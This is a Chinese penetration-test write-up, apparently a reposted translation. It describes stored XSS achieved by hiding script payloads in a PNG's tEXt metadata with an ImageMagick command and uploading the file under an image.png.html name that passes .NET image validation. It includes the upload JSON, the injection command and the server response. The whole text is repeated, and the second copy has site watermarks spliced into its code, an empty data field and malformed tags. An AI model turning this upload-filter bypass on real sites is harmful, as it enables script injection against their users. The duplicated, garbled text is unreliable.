从PNG tEXt到存储型XSS
最近在对某客户的站点做测试时我遇到了一些麻烦。在对许多上传点测试后我发现这些上传点都有着非常严格的文件过滤机制只接受扩展名为.PNG的文件。但就在我一筹莫展时我发现了一个上传点允许我们上传带有.html扩展名的文件。这令我感到非常的意外。这意味着我们可以将一些内容上传至blobs中如下所示
{“Name”:”image.png.html”,”Data”:”data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==”}
(simple 1px red dot)
更改数据键入任何有趣的内容data:html, url,等未通过验证。将PNG更改为任何内容也无法通过验证假设它不是合法的PNG。但是在生成的HTML页面上Base64被解码并执行如下所示:
‰PNG IHDRo&åIDAT×cøÿÿ?Ã Ã „Ð1ñ‚XÍ
õ5ËÑŽ
IEND®B`‚
既然如此那么如果我在base64的末尾加上 “/>alert(“xss”);”代码是否会被执行呢可惜的是经过我的测试JS代码并未被执行。
堆栈溢出建议对魔术字节头进行检查以确保PDF的有效性即检查前几个字节是否为“0×89 0×50 0x4E 0×47 0x0D 0x0A 0x1A 0x0A”。
所以我用魔术字节构造了一个“假”的PNG然后将“/>alert(“XSS”);”作为一个字节数组并对其进行了编码。同样验证失败但这是一件好事只检查了魔术字节。当前他们使用的是.NET因此我想他们会做类似于下面的事情。
try
{
using (var ms = new MemoryStream(mPNGBytes))
{
var aa = Image.FromStream(ms);
if (aa.Height >= 0)
{
Console.WriteLine("Valid image");
}
}
}
catch (Exception)
{
// invalid PNG
}
我花了一点时间来敲代码希望通过一个合法的PNG来帮助我完成任务。我将XSS字符串作为字节数组插入到位置1位置2…然后以迭代的方式插入或追加剩余的字节以查看是否在某个过程中通过验证。但最终什么也没发生这里浪费了我不少的时间。
关闭RFC。可以将“text blocks”添加到PNG文件中https://www.w3.org/TR/2003/REC-PNG-20031110/#11tEXt。这些是对元数据版权等有效的合法内容。这里我们使用ImagMagick来完成命令如下:
convert Head_red.png -set 'Copyright' '/>script>alert("1");script>' -set 'Title' '/>script>alert("2");script>' -set comment '/>script>alert("3");script>' OUT.png
将以下页脚添加到PNG。
验证通过使用html端点上传结果如下:
{"Name":"image.png.html","Data":"data:image/png;base64,}
以及响应:
{"Id":845,"Name":"image.png.html","StorageFolder":"fjgsc452kgebjli2","ContentType":"","Size":31115,"Height":739,"Width":590,"Deleted":false,"Created":"0001-01-01T00:00:00","DomainId":0,"Domain":null,"ApplicationUserId":null,"ApplicationUser":null,"PrivacySetting":"MyCompany","Tags":[],"Url":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png.html","ThumbnailUrl":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png_thumbnail.html"}
最近在对某客户的站点做测试时我遇到了一些麻烦。在对许多上传点测试后我发现这些上传点都有着非常严格的文件过滤机制只接受扩展名为.PNG的文件。但就在我一筹莫展时我发现了一个上传点允许我们上传带有.html扩展名的文件。这令我感到非常的意外。这意味着我们可以将一些内容上传至blobs中如下所示
{“Name”:”image.png.html”,”Data”:”data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==”}
(simple 1px red dot)
更改数据键入任何有趣的内容data:html, url,等未通过验证。将PNG更改为任何内容也无法通过验证假设它不是合法的PNG。但是在生成的HTML页面上Base64被解码并执行如下所示:
‰PNG IHDRo&åIDAT×cøÿÿ?Ã Ã „Ð1ñ‚XÍ www.wnhack.com
õ5ËÑŽ
IEND®B`‚
既然如此那么如果我在base64的末尾加上 “/>alert(“xss”);”代码是否会被执行呢可惜的是经过我的测试JS代码并未被执行。
堆栈溢出建议对魔术字节头进行检查以确保PDF的有效性即检查前几个字节是否为“0×89 0×50 0x4E 0×47 0x0D 0x0A 0x1A 0x0A”。
所以我用魔术字节构造了一个“假”的PNG然后将“/>alert(“XSS”);”作为一个字节数组并对其进行了编码。同样验证失败但这是一件好事只检查了魔术字节。当前他们使用的是.NET因此我想他们会做类似于下面的事情。
try
{
using (var ms = new MemoryStream(mPNGBytes))
{ 内容来自无奈安全网
var aa = Image.FromStream(ms);
if (aa.Height >= 0)
{
Console.WriteLine("Valid image");
}
}
}
catch (Exception)
{
// invalid PNG
www.wnhack.com
}
我花了一点时间来敲代码希望通过一个合法的PNG来帮助我完成任务。我将XSS字符串作为字节数组插入到位置1位置2…然后以迭代的方式插入或追加剩余的字节以查看是否在某个过程中通过验证。但最终什么也没发生这里浪费了我不少的时间。
关闭RFC。可以将“text blocks”添加到PNG文件中https://www.w3.org/TR/2003/REC-PNG-20031110/#11tEXt。这些是对元数据版权等有效的合法内容。这里我们使用ImagMagick来完成命令如下:
convert Head_red.png -set 'Copyright' '/>script>alert("1");script>' -set 'Title' '/>script>alert("2");script>' -set comment '/>script>alert("3");script>' OUT.png
将以下页脚添加到PNG。
验证通过使用html端点上传结果如下: www.wnhack.com
{"Name":"image.png.html","Data":"data:image/png;base64,}
以及响应:
{"Id":845,"Name":"image.png.html","StorageFolder":"fjgsc452kgebjli2","ContentType":"","Size":31115,"Height":739,"Width":590,"Deleted":false,"Created":"0001-01-01T00:00:00","DomainId":0,"Domain":null,"ApplicationUserId":null,"ApplicationUser":null,"PrivacySetting":"MyCompany","Tags":[],"Url":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png.html","ThumbnailUrl":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png_thumbnail.html"}
www.wnhack.com